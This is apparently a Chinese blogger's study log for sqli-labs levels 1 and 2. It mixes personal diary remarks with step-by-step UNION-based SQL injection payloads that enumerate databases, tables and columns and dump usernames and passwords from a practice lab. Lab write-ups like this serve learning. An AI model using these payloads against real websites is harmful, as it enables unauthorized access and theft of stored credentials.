前言

懒猪赵肥肥耍了3天3夜,每天除了练英语口语,啥子都没干。今天开始发愤图强,嘻嘻~ 计划内容有:靶场、视频、python、PHP、java、计算机英语。

首先,每天必搞靶场必看视频必学java和英语。2天硬性计划:15关,2视频,java学习4-6小时。......最后,如果我不学习,那我就是赵肥肥肥!

0x01 第一关

Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

1.首先判断闭合

(# 作用:注释%23,记住在手工的时候最好改为URL编码)

 2.当id=1,或者id=1' ,的时候,才会报错。所以这里理解的“基于错误的get单引号字符型注入”的意思就是:通过单引号是否有报错然后

然后判断是否有注入。所以在这里,我们通过报错来判断各种信息的准确性。

 

所以这里,我们判断他的字段数为3

 3.接下来猜数据库(一般看到的是当前数据库),注意id后面就不要加东西了,要不然报出来的可能只是本次登录的dumb

?id= ' union select null,database(),3%23

4.数据库名security拿到手,开始查看所有同类数据库名称。

?id= ' union select null,(select group_concat(schema_name) from information_schema.schemata),null%23

看到数据库的名字了,接下来看具体的表名。

5.查找security数据库的所有表名。

?id= 'union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema = security and table_name = user)%23

但是 数据库+表名 需要通过16进制的编码https://www.sojson.com/hexadecimal.html

0x7365637572697479
0x75736572
?id=%20%27union%20select%201,2,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema%20=%200x7365637572697479%20and%20table_name%20=%200x75736572)%23

然后费了很大力气,看不懂这些是啥。。

错误原因:我在security数据库里面找有没有user这一列干嘛??要是没有找到,,那不就GG了。。所以我的sql注入盲区还有:认为注入就是瞎猜。。。我真是脑洞大开。。现在我们的目标是,在注入的时候,要让注入点吐出真正的东西,而不是自己去猜。

所以我们这步正确的打开方式:查询security里面所有的表名!列名有:users、emails...

?id= ' union select null,null,(select group_concat(table_name) from information_schema.tables where table_schema=database())%23

6.表名里面选择一个有价值的,爆破列名

?id= ' union select null,null,(select group_concat(column_name) from information_schema.columns where table_name='users')%23

7.发现目标username和password,继续挖掘,发现用户名和密码:

?id=%%%20union%20select null,null,(select group_concat(username,0x3a,password) from users)%

注意:group_concat函数,可以显示出具体的字符;group_concat(username,0x3a,password),这里面的0x3a就是起到一个分割的作用,如果我输入的是0x3b(;)那么出现的就是以分号为分隔符~

总结第一关:老套路,看报错,返回完全正常,那就是OK的。返回页面有问题(不是404、403那些。。),就是you注入点。我们应该通过提示信息,先判断字段,再猜数据库名字---全部数据库---某个特殊数据库包含的表名----表名得列名--爆密码。https://www.cnblogs.com/-zhong/p/10877728.html

【今天第一关!居然闯了一个半小时!啊!蠢货!明天继续】

0x02 第二关

GET - Error based - Intiger based (基于错误的GET整型注入)

考研OR实习,我都苦恼几天了,每天做梦都是考研,又怕考上了耽搁了网络安全这条大船。毕竟成都网络空间安全少,走渗透更少。

唉。今天也想了一上午。。唉。。奈何身边大佬太多,无论是应用型还是学术型,都是让人瞠目结舌。

1.第一关加的 ' ,进行判断是否被过滤且通过返回错误查看是何种注入类型(字符型、数字型),在第二关这

http://blog.sina.com.cn/s/blog_5a5c92980102xfqg.html

3个字段,接下来猜数据库名

奇怪的很,id=* union select null,select(database()),null%23 查看数据库名,但是根据id的值随便填写,爆出不同的字符很正常更感觉就是密码了。。。然后我这里错了,因为id的值为-1,才能爆出数据库名,原因是:

 

通过security这个数据库,查看其他同级数据库(鸡肋???):

(select group_concat(schema_name) from information_schema.schemata)

还是进入security数据库,或者让他显示所有的表名:

  • (select group_concat(table_name) from information_schema.tables where table_schema='security')
  • (select group_concat(table_name) from information_schema.tables where table_schema=databse())

选择一个看起来顺眼的表:

查找信息(列名),发现这个users表里面有形如password的敏感字段:

(select group_concat(column_name) from information_schema.columns where table_name='users')

显示密码:

  • schema_name -> table_name -> column_name,from后面的“单位”要和前面一致
  • 步骤不能乱,随意输入可能会显示出想要的信息,但是没有办法进一步继续
  • (,,,,,)括号里面用逗号
  • column column column

靶场练习--sqli(1&2)的更多相关文章

  1. 靶场练习--sqli(3&4)

    第三关 先解决一下第二关遗留下来的问题,嘻嘻.看来数据库原理应当过一遍~ 1.首先判断是否有SQL注入,然后再看是数字型.字符型.发现这里是字符型. 2.order by 查询字段数,记得后面要加一个 ...

  2. 搭建sqli靶场

    前言: sqli是一个印度程序员编写的,用来学习sql注入的一个游戏教程 sqli这个靶场对php7.0是不兼容的(因为一些函数在php7中被删除了),所以搭建的时候要下载php5,如果你的系统要下载 ...

  3. 搭建 sqli SQL注入练习靶场

    文章更新于:2020-02-18 按照惯例,需要的文件附上链接放在文首 文件名:sqli-labs-master.zip 文件大小:3.5 M 下载链接:https://www.lanzous.com ...

  4. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  5. SQL注入靶场sqli-labs 1-65关全部通关教程

    以前说好复习一遍 结果复习到10关就没继续了 真是废物 一点简单的事做不好 继续把以前有头没尾的事做完 以下为Sqli-lab的靶场全部通关答案 目录: less1-less10 less10-les ...

  6. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  7. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  8. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  9. 搭建DVWA Web渗透测试靶场

    文章更新于:2020-04-13 按照惯例,需要的文件附上链接放在文首. 文件名:DVWA-1.9-2020.zip 文件大小:1.3 M 文件说明:这个是新版 v1.9 (其实是 v1.10开发版) ...

随机推荐

  1. python 按多维列表中的某一个元素位进行排序

    import os,re top = os.popen("tasklist") process_list = [] split_r = r"\s+" memor ...

  2. 给mongodb设置密码

    内容来自:https://segmentfault.com/a/1190000011554055 mongodb安装后是无需密码 Mongodb安装后自身是没有密码的,用户连接只需填写id地址,端口号 ...

  3. 前端面试题:CSS实现水平垂直居中

    这是一个挺常见的前端面试题,但是没有做过总结.有的时候可能会使用完了,很长一段时间不去使用,会慢慢忘记.所以,温故而知新,还是很有必要的. 一.绝对定位元素的居中实现 这一种工作中用的应该是最多的,兼 ...

  4. Linux下安装Python,以及环境变量的配置

    1.安装环境   centos7 + vmware + xshell 2.安装Python3 2.1下载Python资源包 网址:https://www.python.org/downloads/re ...

  5. Atcoder2134 Zigzag MST

    问题描述 We have a graph with N vertices, numbered 0 through N−1. Edges are yet to be added. We will pro ...

  6. Sentinel 1.7.0 发布,支持 Envoy 集群流量控制

    流控降级中间件Sentinel 1.7.0版本正式发布,引入了 Envoy 集群流量控制支持.properties 文件配置.Consul/Etcd/Spring Cloud Config 动态数据源 ...

  7. ubuntu18.04-安装最新cmake

    https://www.linuxidc.com/Linux/2018-09/154165.htm

  8. django正常运行确报错的解决方法

    django正常运行却报错的处理方法 出处 : https://www.infvie.com/ops-notes/django-normal-operation-error 报错一:self._soc ...

  9. HDU6424 Rikka with Time Complexity

    HDU6424 Rikka with Time Complexity 数学题~(真的数学题) #include <bits/stdc++.h> #define mp(_,__) make_ ...

  10. NOIP 真题选讲

    推荐生要凉辽 这可能是我更新的最后一篇博客 代码什么的有时间再说吧,先讲思路.(已搞定前三题代码) 首先先看一下线段覆盖题.我们有一个区间,要用线段覆盖整个区间. 这个是线段的覆盖简图.我们如何选取最 ...